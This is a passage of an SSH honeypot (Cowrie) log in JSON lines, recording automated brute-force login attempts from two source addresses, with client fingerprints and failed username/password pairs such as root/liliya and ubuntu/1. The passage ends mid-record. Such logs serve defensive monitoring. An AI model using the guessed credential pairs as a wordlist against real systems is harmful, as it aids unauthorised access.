{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:04.958851Z","src_ip":"192.109.200.237","session":"7d6cbb997538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:05.224082Z","src_ip":"192.109.200.237","session":"7d6cbb997538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:06.311479Z","src_ip":"192.109.200.237","session":"7d6cbb997538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50054,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bca63007446","protocol":"ssh","message":"New connection: 192.109.200.237:50054 (159.203.135.109:22) [session: 1bca63007446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:07.951993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:08.029808Z","src_ip":"192.109.200.237","session":"1bca63007446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:08.169611Z","src_ip":"192.109.200.237","session":"1bca63007446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:08.425170Z","src_ip":"192.109.200.237","session":"1bca63007446","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:09.515461Z","src_ip":"192.109.200.237","session":"1bca63007446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46448,"dst_ip":"159.203.135.109","dst_port":22,"session":"8de8e6f430c1","protocol":"ssh","message":"New connection: 192.109.200.237:46448 (159.203.135.109:22) [session: 8de8e6f430c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:11.296703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:11.312141Z","src_ip":"192.109.200.237","session":"8de8e6f430c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:11.395314Z","src_ip":"192.109.200.237","session":"8de8e6f430c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:11.644046Z","src_ip":"192.109.200.237","session":"8de8e6f430c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:12.736774Z","src_ip":"192.109.200.237","session":"8de8e6f430c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46450,"dst_ip":"159.203.135.109","dst_port":22,"session":"a109009a579a","protocol":"ssh","message":"New connection: 192.109.200.237:46450 (159.203.135.109:22) [session: a109009a579a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:14.414712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:14.420627Z","src_ip":"192.109.200.237","session":"a109009a579a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:14.503800Z","src_ip":"192.109.200.237","session":"a109009a579a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:14.761251Z","src_ip":"192.109.200.237","session":"a109009a579a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:15.848240Z","src_ip":"192.109.200.237","session":"a109009a579a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46452,"dst_ip":"159.203.135.109","dst_port":22,"session":"a07d8dc9c144","protocol":"ssh","message":"New connection: 192.109.200.237:46452 (159.203.135.109:22) [session: a07d8dc9c144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:17.579085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:17.584750Z","src_ip":"192.109.200.237","session":"a07d8dc9c144","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:17.667851Z","src_ip":"192.109.200.237","session":"a07d8dc9c144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:17.914116Z","src_ip":"192.109.200.237","session":"a07d8dc9c144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:18.999889Z","src_ip":"192.109.200.237","session":"a07d8dc9c144","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34956,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b0ce8853530","protocol":"ssh","message":"New connection: 192.109.200.237:34956 (159.203.135.109:22) [session: 7b0ce8853530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:20.723316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:20.728475Z","src_ip":"192.109.200.237","session":"7b0ce8853530","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:20.810980Z","src_ip":"192.109.200.237","session":"7b0ce8853530","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":57896,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ae4079c4dc7","protocol":"ssh","message":"New connection: 103.122.221.179:57896 (10.17.0.5:22) [session: 9ae4079c4dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:20.908856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:20.914241Z","src_ip":"103.122.221.179","session":"9ae4079c4dc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:21.057003Z","src_ip":"192.109.200.237","session":"7b0ce8853530","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:21.166702Z","src_ip":"103.122.221.179","session":"9ae4079c4dc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liliya","message":"login attempt [root/liliya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:21.923825Z","src_ip":"103.122.221.179","session":"9ae4079c4dc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:22.142276Z","src_ip":"192.109.200.237","session":"7b0ce8853530","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:23.179630Z","src_ip":"103.122.221.179","session":"9ae4079c4dc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34966,"dst_ip":"159.203.135.109","dst_port":22,"session":"510454a7850c","protocol":"ssh","message":"New connection: 192.109.200.237:34966 (159.203.135.109:22) [session: 510454a7850c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:23.865916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:23.871437Z","src_ip":"192.109.200.237","session":"510454a7850c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:24.018836Z","src_ip":"192.109.200.237","session":"510454a7850c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:24.346653Z","src_ip":"192.109.200.237","session":"510454a7850c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:25.432221Z","src_ip":"192.109.200.237","session":"510454a7850c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34982,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2957f80d03f","protocol":"ssh","message":"New connection: 192.109.200.237:34982 (159.203.135.109:22) [session: f2957f80d03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:27.269346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:27.275231Z","src_ip":"192.109.200.237","session":"f2957f80d03f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 